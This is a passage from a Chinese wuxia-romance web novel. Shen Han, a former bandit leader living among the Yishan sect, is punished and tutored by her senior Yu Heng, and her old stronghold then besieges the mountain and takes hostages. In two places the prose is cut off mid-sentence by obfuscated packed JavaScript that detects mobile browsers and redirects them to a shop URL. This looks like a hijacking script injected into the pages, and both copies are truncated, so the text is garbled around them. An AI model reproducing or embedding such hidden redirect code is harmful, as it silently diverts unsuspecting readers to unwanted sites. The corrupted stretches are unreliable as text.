午时夷心堂前的广场上,日头最盛,人眼瞧着那白花花的石阶久了都会觉得刺目。这几日天放晴,寒风干冷依旧。虽是冬日,长时间在太阳下扎马步,皮肤还是会有些许灼痛感。 最重要的是,这是一个极大的精神羞辱。 郁珩在一旁监罚,从头到尾未发一言。 先是郁云笙耀武扬威来落井下石,被沈寒几句话呛了回去,后有薛敢、郑清商来给沈寒和后厨师兄送氅衣。路过的弟子来来往往,好奇侧目当个新鲜玩意看的有之,嘲笑吹口哨的有之,骂两句“妖女”和走狗的亦有之。 后厨师兄叫苦不迭,“你早说你没安好心,我何苦下山去给你取那芥籽!现在连累我受罚,真是没天理!” 他已经扎了半个时辰的马步,双腿抖若筛糠,痛苦全写在了脸上。 沈寒亦是双腿酸痛难忍,咬牙道:“师兄你不也是听到东瀛美食,嘴馋得走不动道了吗?还在这说这些!” 她转念一想,小声打探道:“师兄,你去取芥籽的地方,可有见到什么人?一个肥头大耳的胖男子?有没有遇到匪子?” 等了半天师兄没回应,沈寒还以为他累得受不住,转头一看,郁珩冰冷的目光正对着自己。 后厨师兄双唇紧抿不敢再做小动作。 沈寒朝郁珩苦涩一笑,“大师兄,你在那站半个时辰也累,不如一旁喝口茶歇息一会。” 郁珩并没接沈寒的茬,拎着小竹竿阔步走上前来,一下子敲在沈寒脊背上,“扎稳。” 沈寒深深闭眼,心想:天杀的黑心莲,不过是喂你的师弟师妹们吃点芥末,这就要累死我!若不是我得暂留夷山,非得跟你拼个鱼死网破让你跪在我座下高呼大王万岁…… 她心里骂得正快活,耳边飘来郁珩疏离的声音,“不要妄想打探山下之事。” 沈寒猛地瞪了回去。 郁珩心安理得接下了沈寒的眼神刀,却轻轻侧首,凑到沈寒耳边。那一刻,凛冽的雪松香气裹挟着沈寒,让她肺腑都凉了个彻底。 郁珩低低道:“有你下山的时候,别急。” 沈寒眼前一亮。随之又想,郁珩此人行事不走寻常路,他说有自己下山的时候,难道真心想帮自己吗?必然不可能!这黑心莲定是挖坑等自己跳罢了! 若是想在夷山打探到山下的消息,采买的弟子,巡山的弟子,甚至从各路宗师掌门那里都能做到。这夷山派氛围其乐融融,众宗师弟子各有性格,骨子里的正气憨直却是不变的。唯独郁珩与众不同,是个一身反骨的黑心莲,一定要远离,远离,再远离! 本以为和郁珩接触的机会不会多,谁知一事未平,一事又起。 夷山派并非满山草莽武夫,名门正派都注重教养,每天都会有一节功课研习文理。 沈寒虽识字,却不会写字,更没读过一本书。她心里想着是借此机会提高一下个人修养内涵,可不知为何这与练武不同,她一看到满书的字,配上授课夫子的声音,便昏昏欲睡。 更何况,幼年没多少机会玩,能板板正正有一堆同窗不容易。休课的时候,一帮夷山派资历年纪尚小的弟子便围着她,想听些山外的热闹故事。沈寒许久没见过这样热情的小孩,他们同长成了的大人不一样,没有那么多恩怨是非,说几个故事就愿意对她笑,于是天天同他们讲故事聊得不亦乐乎。 一堂小测下来,别说经论,字也写不对几个。 夫子罚沈寒抄书,她也抄不明白,气得夫子又告到了夷心堂。 沈寒做好了成为烈日桩长客的心理准备,站在长阶下,目送郁珩引夫子离去。 她见郁珩朝自己走来,叹了口气,摆好标准的架势准备继续扎马步。 谁知这次,郁珩道:“跟我走。” 一旁凑热闹的弟子都怔住,纷纷望了望沈寒,又望了望郁珩,收到郁珩的目光威胁后悻悻离去。 这几日天气一直不错,远山环抱下的夷山如琼雕玉砌。 万籁俱寂,鸟雀噤声。 沈寒踩着郁珩踩过的脚印,一步步随他穿过夷山派的回廊,来到了一间屋子。 房前悬一匾,却只有一字:止。 止什么?止院?止房?止阁? 沈寒正琢磨着,忽然猜到这个房间的用途与名字。 止室。这是郁珩的房间,房间名字如同他本人那般,克制而又冷静,没有一丝温度。 郁珩带她来自己的房间做什么?不知为何,沈寒脑子里飘出一些古怪的情节,什么冰冷师兄爱上我,满足我,我就免了你这次罚…… 沈寒虎躯一震,疯狂摇头试图甩开脑子里的香艳画面。 这动作惊动了郁珩,他淡淡拉开门,对沈寒道:“不必想那些。” 沈寒拍了拍自己滚烫的脸,苦涩笑了笑,顺从走了进去。 门前悬着一层挡风的帘子,看得出主人喜洁,屋内一尘不染,连那风吹日晒的帘子也干净如新雪。 屋内陈设规整雅致,一层素净的白纱将书房和卧房分隔开。一蒲团,一桌案,连桌上的《南华经》都是严丝合缝摆正,仿佛这屋子从不住人。只要人走进屋子,就能感到浓重的严谨气息,令人不自觉紧绷起来。 郁珩并不多言,走到书案前,找出了一本摹本,交给沈寒。 “以后未时二刻来止室习字,每日都要来,不可迟到,不可旷课,更不可态度敷衍。” 沈寒诧异之余,还是接过了摹本。简单一翻,字是颜体,却比寻常颜体更加嶙峋刚劲,撇捺间的凌厉如出鞘刀刃。 若是习字,倒也不是不行。 沈寒功课学习如此艰难,无非是经论晦涩,她又不会写字。旁人小测是写文章,她的小测是在“作画”,跟不上夫子的教学也是人之常情。只是来郁珩这里习字嘛……沈寒有些犹豫。 “一定要你教吗?”沈寒试探着问了句,挑着漂亮的眉眼偷偷察言观色。 郁珩道:“并非我想,你把夫子气得不愿教你,我受师父所托。” “喔,那一定要今天开始吗?今天……唉……上午和薛师兄过招,中午又劈了柴,胳膊酸酸的,拿笔也不是很顺利。唉?你看我右手手心这个旧伤,怎么就不好呢?真不知道殷九这个小王八蛋下了什么毒。”沈寒说着,开始夸张的摇头晃脑,活动筋骨,仿佛真受了天大的磨难。 旁人做此油腔滑调一定是惹人嫌的,偏生沈寒长了张美艳的脸,犯起懒来也十分可爱。学习本就与习舞不同,即便立下豪言壮语,要真正静下心来钻研也十分困难。 其实沈寒并不指望郁珩能放过她,她只是本能地一身反骨,想跟郁珩耍嘴。没想到这次郁珩真的网开一面。 他脸上终于有了一丝宽和的神情,道:“今日罢了,你且领摹本回去自行翻看。” “好好好,太好了。” 沈寒抱了摹本欲逃,却不想郁珩又搬出一堆书。“你虽不会写字却是识字的,这些书回去看,一个月内看完,我要考问。” “你……” 黑心莲! 沈寒看到这一串什么经什么论的就头大,搬起所有的书拔腿就想跑。她快步离开止室,余光突然间扫到一样东西。 房间一角摆着一架古琴。抚琴本是名士之举,郁珩有琴并不奇怪,奇怪的是琴旁有一个十分破坏止室意境的东西——琵琶。相比端庄的琴来说,倒是尽显风流。 这一琴一琵琶放在一起,倒是相映成趣,有种说不出的气质。 沈寒来不及多想,先溜出止室,后面回忆起来只觉得手痒。 她是个弹琵琶的好手,想当年在江宁府,有人为了听她一曲一掷千金。如今多年不弹,再见还有些唏嘘。 她越想郁珩,越觉得这个人捉摸不透。曾经她以为,郁珩和那些踏雪寻香的少侠别无区别,冰清玉洁毫无趣味。如今看来,他是个冰皮黑 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突然耳边飘来一声霜雪磬音般的话语,“早功旷课,罚烈日桩半时辰。” 这声音沈寒已经十分熟悉了,起身对着坐在山石上潇洒的郁珩怒道:“这是玄宁师父留给我的功课,怎么不算早功了?” “你是说在这里挖水吗?” 看郁珩的神情,倒是也不清楚玄宁的早功到底是何意。 沈寒沉下心,懒得同他争辩,道:“赏罚不分明,你们算什么名门正派!” “若是有理由便可以翘掉早功,人人都会效仿。” 沈寒嘟囔道:“除了我哪有人这么倒霉要来此挖水。” 郁珩的话却如金规铁律,“没有规矩不成方圆。” “你……你不也旷了?” 沈寒说完有些后悔了,奴隶和奴隶主岂能同类而语,她这么说岂不是招来更大的打击报复? 郁珩顿了顿,眸色晦暗道:“我的确也犯了错。” 沈寒总觉得郁珩话里有话,可他绝不是轻易能让她探究清楚的人。 那天,夷心堂前烈日桩多了一个从不会出现的人。 郁珩扎马步的身影竖在沈寒面前,尽管沈寒身体酸痛不愿意看,却也屡次三番移不开眼。 正午的寒风吹得衣衫作响,白色的练功服紧贴在郁珩的肩胛骨上,随着他平稳的呼吸,勾勒出清晰有力的线条。沈寒望着他,莫名喉头一紧,赶忙移开视线,却又忍不住看回去。 郁珩是个极好看也端正的人,虽黑心,却依旧藏着君子风骨。沈寒是这么想的。 她那隐秘的小心思,好在很快被郁云笙打破。 郁珩也在受罚,郁云笙倒是不好落井下石。她先是劝郁珩不要自罚,又对沈寒唇舌相讥。 连郑清商也担忧地来看郁珩,递出的氅衣却被郁珩严词拒绝了。 沈寒想,郁珩真的是这些夷山弟子心目中圣人一般的人物,只是站个烈日桩他们便觉得天塌了。 也是后来,沈寒才知道,郁珩出现在后山绝壁,并非翘掉早功,只是日出习武罢了。 既然如此,郁珩口中自己也有错,到底错在何处呢? 沈寒不明白,却总能在漆黑的凌晨,提着小灯去后山导水时见到郁珩练功的身影。 山上的日子静谧温暖,沈寒也生出些恍惚。世上果然人与人不同命,原来人是可以这样长大的。 而山下却是另一番光景。 是夜,几个夷山派的外门弟子下了山,各自回到了家中。 所谓外门弟子,即是不拜入夷山门派,不学习独门心法,只是学一些基本的武功招式的人。他们往往交少量束脩,依旧可以住在望仙县里,练功之处也不在夷山。只有极少数的情况,这些外门弟子才会上夷山。 其中一个外门弟子回到家,刚打开家门唤了声“娘”,却看到自己年迈的母亲神色惊慌,双眼里全是恐惧。 而她的身后,站了一名彪形大汉,手持阔面大刀,一身匪徒作派。他的手正按在自己母亲的肩头,像是随时准备捏死一只蚂蚁。 12. 夜蚀 夜吞孤山,寒雪泛青。 洗尘斋点着一盏孤灯,桌上堆满了翻乱的习字摹本,案前之人却已昏昏欲睡。 背完了书还要抄书,还要注意字形,注重笔力,稍有不慎就会被勒令返工重写。沈寒放下笔,甩了甩手腕,顿时觉得这日子过不下去了。 她手腕有些旧伤,平日里不受影响,用功久了还是有些累的。再看眼前密密麻麻的小字,一个头两个大,仰过身子两眼一闭再也不想睁开。 敲门声响起,驱散了沈寒的困意。她起身拉门,见薛敢站在门前,手里提着一壶酒和一个小纸包。 肉香味弥漫出来,沈寒感觉嘴里发馋——这肯定是荷叶鸡! “嘘嘘嘘——美人儿,快放我进来,我刚偷偷溜下山买的酒和鸡。别被人看见了!” 薛敢说着就要往屋子里挤,身上还冒着白生生的寒气。 薛敢没穿夷山派刻板的练功夫,而是穿着一件鹅黄色交领窄袖短袍子,令沈寒眼前一亮。他腰间的束带松垮系着,发带也歪斜,浑身上下透露出富家公子的玩世不恭。生得一双明亮的笑眼,笑起来牙齿雪白,鲜活青春的气息扑面而来。 他比沈寒年少,刚满十六,正是最鲜衣怒马的年纪。 经历多了的人见到活蹦乱跳的少年多少有些欣慰,沈寒因此也喜欢与薛敢打交道,见到他就像是话本子里渴望精气的黑山老妖。于是沈寒猛地吸一口气,觉得少年气与荷叶鸡下酒已经将方才的抄书之痛一扫而空了。 关上屋门,屋内点了炭火,暖洋洋地熏着荷叶鸡的香气。 “哟,这么用功。”薛敢一把将书推到一边,摆上了鸡和酒准备大吃一顿。 沈寒连忙上前护住了书,“等等,你帮我个忙!” 薛敢挑眉,不解道:“什么忙?最近郁师姐忙着准备会武,应当没刁难你啊?” “若是她刁难,我倒犯不着求你。”沈寒不怀好意地笑了,将书和笔递到薛敢面前,“我要是抄不完,你最敬爱的大师兄明天一定会罚死我。你懂我的意思吧?” 说罢,她一双水灵灵的眼笑弯成月,闪着狡黠又无辜的光。 薛敢一看到书就头大,连忙摆手,“这我可帮不了。美人儿你有所不知,你来之前咱们经论小测的末等是我,我没比你好到哪去。” 沈寒见状不愿罢休,将书送到薛敢面前,楚楚可怜道:“再次也比我强,你看我真的写不完了。不是我不努力,实在是你大师兄非人,再熬下去别说吃鸡,觉我也没得睡。” “我和你字迹不同,大师兄肯定会发现的。” “你看我这字……还有字迹这一说吗……” 薛敢皱着眉放眼一扫,这歪歪扭扭若爬虫的字,但凡一个人抖着手写都能写出。 薛敢和沈寒对视了一眼,眼前的姑娘眉眼明媚,一双眼睛长而微挑,分外妖娆。他叹了口气,还是折服了。 沈寒坐在一旁长凳上美滋滋的喝酒吃肉,薛敢坐在对面埋头苦写,二人有一句没一句地闲聊。 薛敢写了一会,看到沈寒放下笔开始大快朵颐,不禁道:“你给我留点!” “一人一半,我吃完接着写,换你吃。” 薛敢无奈道:“你不是不归寨寨主吗?应当没少吃山珍海味吧?怎么馋成这样?” “前寨主!”沈寒纠正道,撕下一只鸡腿,“你不是薛家少爷吗?怎么也得半夜偷酒吃?” “我自小上山,家里富贵山上贫,这少爷当得实在是没滋味。”薛敢长叹一声,继续道:“不过我倒有些好奇,不归寨好吗?” 回忆起不归寨的日子,来来往往的匪子无数,能记得的面孔除去殷九和荀老爹,只有两三个。都说匪子走的是鬼道,沈寒倒觉得浑浑噩噩,人不人鬼不鬼,还不如真去做鬼痛快。 可沈寒还是要强的,道:“当然好。在不归寨我最大,呼风唤雨,鱼肉乡里,好不自在!” “你是怎么当上寨主的?” “你怎么不问我是怎么被赶出不归寨的?” “我怕揭你伤疤嘛。”薛敢轻快地笑道:“再说了,皇帝都不能做一辈子,更何况一个匪寨。匪子最是言而无信两面三刀,你遇到这样的事也不奇怪。” 回想起刚到不归寨时,她也不算孑然一身。她一无所有,和老爹相依为命又互相憎恨,从一无是处的小丫头片子到河神,若说这些匪子真的无人可信,也有那么几个人在殷九反她时为她拼命一搏。 是是非非不是几个词可以定性的,沈寒看待这些事,不予置评,只觉得心绪沉重如石。 最终,她吐出一句,“师兄,我也是匪子。” 薛敢愣了愣,意识到自己说错了话。“我不是那个意思,美人儿,你不一样。” “我知道师兄不讨厌我,只是,其他同门对我或是憎恶,或是无视。师兄为何愿意善待我?” 薛敢放下笔,一手撑着下巴,思索片刻道:“最初……其实不是我。” 沈寒诧异地抬眼,手里的鸡都搁置了。 “是大师兄委托我看顾你。” “郁珩?”沈寒惊得要站起来了。 “是啊。我问过他为什么,他说要善待一个深陷苦海的人。” 善待一个深陷苦海的人。好生傲慢的话。 沈寒不禁冷笑出声,带了几分轻蔑。 薛敢见状道:“其实我理解师兄为什么这么说,或许你不信,师兄是夷山品行最端正的人,是举世无双的君子。可我记得,师兄犯过一次大错,所以他懂这种身负罪孽的感受。” 郁珩也会犯错?这倒是奇了。沈寒开始觉得有趣,郁珩身上的谜团抽丝剥茧解开,就像解线球那般令人心情舒爽。 “说来听听。” “具体我也不知道,只知道那是掌门唯一一次责罚他。大师兄在宗门祠堂跪了三日,还害了一场大病。从那以后,他好像彻底变了,比以前更加严苛。其他师弟只道是大师兄生来自持,知错能改,可我想这一定是个严厉的错误,而且是不能被我们知道的错误。” 沈寒眼前仿佛浮现出这样的场景,烛火幽微的祠堂,少年的背影倔强地跪在那。他孤执如铁,守着自己犯的滔天大错。 这便是郁珩自己所说的,他的确也犯了错吗?可郁珩这样的人是不会认错的。他所做之事必经过缜密思考,一旦做出绝不后悔。即便是认错,他只会更加笃信自己所思所想,然后继续伪装成所谓的玉面少侠。 沈寒认定了这一点,心提到嗓子眼,仿佛从一点窥到郁珩的全貌,心里的窃喜和激动难以言喻。 薛敢补充道:“不过除却大师兄的委托,我的确对你没什么恶意啦!你打碎的那个石剑,我真的不当回事。人生能得几番畅快?干嘛被一些死物规训?” “说得好!”沈寒就喜欢薛敢身上不受规训的自由,她撕下一块鸡翅,塞进了薛敢嘴里。 抄写完后,两人风卷残云般用完餐,已然是子夜。 薛敢买酒之事绝不能被发现,不然免不了一时辰烈日桩。两个人收拾了鸡骨头和酒坛子,打算到山脚下毁尸灭迹。 夜色深沉,夷山寂静得令人后背发寒。 夷山派的山门并非在山脚,这是因为当年夷山宗师立派之时,为了抵御其他门派抢夺心法,特在夷山脚下设立了三大关。三关之中,第一关乃是巡防的夷山弟子,第二关是夷山剑阵,第三关是一道天然的土囤。三关通过,才能顺利上到夷山,叩响山门。 曾经沈寒率领不归寨闯山,在夷山派并不想真的同她交锋的情况下,依然在三大关费劲心力。她也没想到后来逃上夷山会如此容易。 薛敢在第二关的山坡处,找了个树根挖开,将酒坛子埋了进去。 他一边埋坑,一边道:“前面几处我也埋过,都被大师兄发现了。这次我就不信大师兄能抓住我。” 沈寒沉默不语,总觉得周遭有些诡异。 薛敢瞥了一眼沈寒,发觉她手掌心那道狭长的刀伤,已经结了一层痂。他便说:“你的伤好了?我师父找到医治法子了?” “你师父才不想管我呢。”沈寒看了看自己的手心,转而警惕道:“师兄,你不觉得这里有些古怪?” 薛敢喝了酒,说话都颠三倒四,“哪里古怪?” “走!”沈寒一把拽住薛敢,转头往山上跑。 两个人刚吃了顿饱饭,薛敢不胜酒力,跑得胃里翻江倒海,冷风直往肚子里灌。他想停下来喘一会,沈寒力气大,他根本挣不过,只好道:“我歇一下,就一下!” “不行!我感觉不太对!” “哎呀,这不就和平日里一样?哪里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353311|199654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对?” 沈寒面色凝重,“我说不上来,总之先走。” 的确,她说不上到底哪里不对。可多年来她判断危险已经不需要依靠什么线索,她甚至能嗅出风的味道。 今晚的风里,似乎有血气。 薛敢道:“你想多了,这是夷山,比那县衙还安全。之前你能闯上来那是让着你的。不会有什么危险。你瞧,前面不还有师弟在巡山吗?” 那人虽穿着白色的练功服,却同夷山弟子不同,背上少了夷山派松涛剑岳的图腾派徽,显然是个外门弟子。行动鬼祟,趴在树上不知道在做些什么。 薛敢见到他,也觉得这人行动有些诡异,顿时酒醒了大半。同沈寒走上前,正色道:“是王师弟吧?” 那弟子见到薛敢,浑身一激灵。沈寒见状心中警铃大作,再看树干上留下一道刻痕。 不归寨!这是不归寨蹲点的习惯! 当年在不归寨,沈寒立下规矩,想要抢县衙,就要先踩点。每一个捕快,每一个进出县衙的文书先生,他们的行动如何,都必须摸清楚。踩点后,在门前不起眼的地方留下刻痕,方便寨中匪子找过去。 沈寒当即双目露寒色,上下审视着这位王师弟。 这外门弟子被吓得不轻,哆嗦两下,抖出一句废话,“我……我姓赵。” 紧接着,后颈处一道寒风闪来,薛敢身形矫健,拉着沈寒飞快躲过。 只见皎月黑风下,出现了二十多名匪子,无声持刀而立,将他们包围。 这几个匪子是生面孔,沈寒没见过,也可能记不清了。她深吸一口气,露出了桀骜的笑意,“好久不见,诸位就是这么拜见寨主的吗?” 其中一个匪子纠正道:“前寨主。” 一个时辰前沈寒也是这么纠正薛敢的,如今报在自己身上,真是啼笑皆非。 那匪子并不多言,直接攻上来。 沈寒同薛敢后背相靠,各挡一面。薛敢动作敏捷,同几个匪子打得有来有回。而沈寒虽武艺不精,力气却足,拆挡下匪子的攻势后,借力打力,一拳锤在匪子的胸口处,便震得这匪子咳了口血。 这是薛敢第一次见沈寒施展劲力,平日里的过招都是小打小闹,真动起手来,他突然顿悟了掌门为何选她参加会武。不需要任何心法武功,一个娇美的女子只靠一身蛮力,便能将彪形大汉震出内伤。若是加以修行,必然在武林大放异彩。 只是匪子人多势众,二人渐渐有些不敌。沈寒抓住机会,抱住其中一名匪子的胳膊朝前撞去,直接为二人撞出一条生路。 “快跑!回派中找掌门!不归寨攻山了!”沈寒挡开一刀,同薛敢从破口处夺路而跑。 夜幕之中,二人奔逃的身影格外仓皇。 夜枭鸣叫,雪压松枝。月色被云层遮掩,夷山上的百年古木树影如同幢幢鬼影。 消息点燃了整座夷山派,全派整顿起来,井然有序之中带着久未经战的慌乱。他们按照宗师的教导列阵,却又对山外真正的腥风血雨感到恐慌。原来血洗不归寨在生死面前只是一句玩笑话,他们在避世中安宁太久,一点风霜就能将那点剑心撕破。 晨曦微耀,夷山还是灰蒙蒙一片时,不归寨匪徒兵强马壮,赫然出现在三大关中的最后一道大关。 脆弱的土囤即将被推倒,被当作人质的所有外门弟子顶在最前面。 匪子中一个青年男子骑在高头大马上,双手抱胸,长发在发梢编成几条风流的小辫子。他一身紫棠色劲装,手里玩着自己那把已经喝了血的宝镰。 殷九望着土囤后茫茫一片白衣,夷山弟子严阵以待,剑锋闪烁着寒芒,一场恶战一触即发。他脸上写满了讥讽,动作轻佻地下了马,一脚踢碎了已经摇摇欲坠的土囤。 夷山弟子被他惊到,乱了片刻立即恢复如常。 殷九不怕对准自己的弓箭,目如鹰隼,在人群中扫视,最后目光定在阵中一格外出尘之人身上。他知道,这人应当就是闻名遐迩的夷山少侠郁珩。 “你是这群草包的头儿?”殷九咧开嘴,声音像是鬼魅,笑得张狂,“我放话在这,今天我必须见到河神。活要见人,死要见尸。不然……” 他顿了顿,看到郁珩那张静如止水的冷脸便一肚子气。 殷九道:“不然,你们都得死。” 13. 献渡 老天应景,这一日的夷山北风呼啸,发出撕心裂肺的怒号。 双方的交锋谨慎又克制。 不归寨匪徒骑在马上,步步逼近,气势骇人。匪徒刚刚接近夷山弟子,举刀劈杀时,却齐齐栽下马去。这些顶在前阵的弟子下盘稳若山岳,纷纷弓身沉腰,拔剑出鞘极快,以剑脊直击马腿。 前阵阻住攻势,阵型迅速裂开,身法敏捷的夷山弟子一跃而出,两两一组,一人绊马,一人攻匪。一击即退,绝不缠斗,训练有素如军队。 而阵的后方,则是武艺最为精湛的夷山弟子,紧锁匪徒中精锐强悍者,一旦有人试图破阵,剑气齐发击于一点,逼其自救放弃攻阵。 殷九于后方见状,嘴角微调,喃喃道:“有意思。” 殷九身旁之人是如今不归寨的二当家,是个身材矮小的奸诈之徒,名叫刁顺子,江湖人称油葫芦。 油葫芦刁顺一见攻势不对,忙道:“大当家,这夷山派并非咱们想的那般草包啊……” “怕什么?”殷九声音里透着冷意,脸上笑容戛然而止,“千嶂锁云阵,确实厉害。” “千嶂锁云阵,这……属下孤陋寡闻。” 千嶂锁云阵以一人为阵眼,骑兵冲来如撞山岳,继而被中阵牵制缠绕,最后后阵斩其主力。而后阵中央的阵眼,正是郁珩在紧盯战况,调度阵型。 不过没必要对油葫芦解释这些。 殷九抬手至唇畔,打了个尖锐幽长的呼哨。匪徒之中涌上一群矫健的匪徒,手中甩着淬毒的铁钩,专攻下盘。 不归寨虽一直盘踞在望仙,却也去周边城池打家劫舍。多次游荡劫掠让他们惯用贴地缠斗的阴毒伎俩。 郁珩神色未变,抬手握拳化掌。一声令下,阵中弟子取下水囊砸向地面。水囊破裂,流出的竟是乌黑桐油。匪徒脚下一滑,攻势顿挫,而紧接着薛敢带着一众弟子冲上前去,将火把扔入油中。 轰然一声,一道炽烈低矮的火墙瞬间烧起来,将战场清晰地分割开来。 油葫芦见状,更是手心捏了把汗。 他不明白寨主为何盯着沈寒不放。 当年殷九辅佐沈寒,将老寨主枭首,油葫芦便不看好此事,他苦口婆心地劝,殷九没听;后来沈寒做了寨主,自封河神,火烧望仙,油葫芦劝殷九拦住沈寒,殷九又没听;好不容易这个灾星滚出了不归寨,殷九却非得追她个天涯海角,他再次劝殷九别管这妖女,殷九依旧没听。 油葫芦总觉得,跟着殷九混,他这辈子算是完蛋了。 看着眼前的熊熊烈火,方才攻上前的匪子被烧得惨叫连连,油葫芦再次苦口婆心道:“大当家,当日明明能杀了她,您说要活捉。如今人既然跑了,何必引此恶战?” 殷九阴冷道:“你觉得我做错了?” 手里的宝镰嗜血,油葫芦寒毛直立,摇了摇头,“属下不敢。” “那就给我闭嘴。” 话罢,只见殷九点步上前,踩着几个横在地上的不归匪徒尸首,从火焰之上掠过,轻而易举到阵前。他身形快若鬼魅,几下便取夷山弟子性命。 名门正派,不过如此!殷九狂笑一声,宝镰在手上旋转,反手一劈却听到铿锵一声,侧首对上郁珩那平静的目光。 没有愤怒,没有鄙夷,连对死去师弟师妹的哀悼悲悯都没有。那是一双不染尘世的眼睛,太过纯粹,反倒杀机四伏。 雪辞剑出,此道之下,生死不过落叶残花。 郁珩挡下宝镰,一掌退开夷山弟子。 殷九的镰刀名为无赦,刀身轻盈诡变,每一击都带着凄厉的尖啸,可几番攻势下,他每每发觉自己即将碰到郁珩要害,都被郁珩四两拨千斤挡开。失之毫厘,差之千里,对方拆挡自如轻松,以守为攻,殷九竟讨不到一点好。 再次被闪过后,殷九惊觉,对方根本不是与自己厮杀,而是在丈量自己的进攻边界与节奏。他飞身跳开,却发觉自己不知何时起,已然身陷阵中。 “你他娘的阴我!”殷九反手劈过去,这一次用足了内力。 只听清锐一声,雪辞与无赦相击,声音不大,却带着一股暴风雪般的暗劲顺着刀柄涌上,非要将他震开才罢休。殷九不肯就范,点足弹开,却发觉自己这是真真踩入千嶂锁云阵的陷阱里。 殷九如同困兽,方才的轻蔑与嚣张荡然无存,撕破脸后只剩下嗜血的凶恶。他怒目而视,看着围住他的夷山弟子,周身内力运行,扫身破阵。夷山弟子纷纷弓身顶住,就在这一瞬间,殷九快如一阵风,回到了火墙之后。 他一伸手,几个匪子抓着被绑的二十几名外门弟子上前。 几个外门弟子半夜被抓,如今彻底吓得魂不附体,无赦架在脖子上的时候,瑟瑟发抖差点吓尿裤子。 殷九呼出一口恶气,阴毒道:“告诉你们大师兄。不交出河神,今天你就交待在这了。” 郁云笙见状,前进一步道:“那水鬼本就不是夷山人,你敢伤害他们,我夷山派和不归寨定要拼个鱼死网破,不死不休!” 殷九道:“是啊,河神不是夷山派之人,她是我不归寨的人。生是我殷九的人,死是我殷九的鬼。我给你们一炷香的时间,我看不到沈寒站在我面前,他们都得死。不仅他们要死,他们的家人我也不放过!我要把他们的尸体挂在夷山前,让世人看看,夷山为了包庇一个恶女,到底做了什么好事!” 郁珩垂下的手无声攥紧了。 郁云笙脱口而出,“你敢!” 镰刀飞起,那外门弟子的一只耳朵竟被割下,惨叫声回荡在山间。剩下几个外门弟子见状,纷纷大叫起来,彻底魂不附体。 “师兄救我!” “师兄我是无辜的,我也是夷山弟子啊!” “我交了束脩,不能不救我!求求你们了,救救我,我还有母亲要养!” 郁云笙胸口上下起伏,抓着郁珩的手臂,“师兄,我去把那水鬼拖出来!” 话一出口,她便觉得心底生寒。 她从未见过郁珩动怒,虽仍是那副平静淡泊的神情,那双眼却锁着殷九戏谑的笑脸。如果眼神能杀人,怕是殷九已经被碎尸万段了。即便郁云笙是郁珩的堂妹,尽管她与郁珩自小相识,亲近如此,见到这样的郁珩也不禁感到畏惧。 最怕冷静的人在沉默里发疯…… 薛敢在一旁道:“师姐你说什么呢?沈寒的命也是命,她现在是咱们师妹啊!” 郑清商亦是道:“是啊,还是听听大师兄怎么说。” 夷山弟子维持着对峙,却已然动摇。 他们心里清楚,交出沈寒,这场争斗便可以结束。沈寒算什么东西?水鬼,妖女,山匪,世人唾骂的极恶之人,生死和名门正派到底有什么关系?只是现在交出去,说明他们真的拿不归寨没办法,夷山派怎么在武林中立足? 郁云笙管不了那么多,转身就要回山里捉沈寒,却被郁珩抬手挡住。 “她是夷山派的人。夷山派不会放弃同门。” “啊?”郁云笙没反应过来,懵懵地望着郁珩,却跌进郁珩深渊似的目光之中。 而此时此刻的郁珩,脑中突然一片空白。他本该在此刻清醒自持,他本该心系苍生,守护夷山,可殷九那句话反复在他脑中回荡。 沈寒生是他的人,死是他的鬼吗? 郁珩眼神空洞得可怕,觉得心口被人掏空了一般。 实际上,这场争斗本不该如此艰难。 迟迟不来的县尉司是这场僵局的罪魁祸首,只是夷山弟子不知道,不归寨匪徒不知道,被关在夷山深处的沈寒生也不知道。 沈寒贴着门板紧抱双膝,听外面夷山弟子忙乱的声音。她两手绞在一起,心跳越来越快,手指也绞得越来越紧。 夷山大乱,没有人生火,本该温暖的屋子如同冰窖,寒意顺着双腿一路攀至小腹。 很遗憾,乱世枭雄也是人,就算经历那么多,沈寒还是很怕死。 她控制不住手在颤抖,想到逃出不归寨的那个雪夜,利刃一下又一下砍在身上,清晰的痛感重新浮现。 “完了!匪子说不交出水鬼,便杀了那些外门弟子!怎么办?” “大师兄怎么说?掌门怎么说?” “四位宗师已经在增援了,掌门说交给大师兄全权处理,目前还没传信来,不知道山前的情况啊!” “急死我了,我们把她绑了扔出去吧!” “不行不行,我和她一起上过课,我还吃她做的饭,也没觉得她多坏……” “这是纠结的时候吗!” 吵死了!吵死了吵死了吵死了!沈寒用力锤地,开始憎恨自己的命运竟然被他们一念掌控。 可他们说得没有错,若是自己不来到夷山,夷山便不会遭此难。果然她走到哪里,哪里便会血雨腥风,这些祸事如同魔咒一般跟着她。 沈寒不甘心,心想干脆在这里赖着,就算不归寨要屠上夷山,也有这群人给自己陪葬。她本就是尸山血海开出的极恶之花,带着这些人一起死根本不算什么…… 寒意在掌心弥散,沈寒抬起手,看到自己的手心,却怔住了。 那条狭长的刀伤,不知不觉已经痊愈了。 似乎是每天早上导水时,蕨草的露水润泽手心,无声之中将伤治愈。苓庐后山长有草药不奇怪,可她没想到会是这样的机缘。 导水救兰,引松针坠地,润及蕨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她虽穿着洁白的练功服,却撕破了所有伪装。往日在夷山派,捉弄同门嬉皮笑脸都是表象,如今她款款走下来,即便是最圣洁的白衣,在她身上也妖娆极了,身材匀称窈窕,甚至丰满动人。她的目光像毒蛇,邪念横生,直勾勾望着前方。长发在脑后随风飘荡,令人觉得她只需要一抬手,她的意志可以左右烈火,焚烧整个人间。 薛敢焦急道:“美人回去!别逞强!” 郑清商亦是道:“小师妹,你别担心,我们不会轻易将你交出去的。” 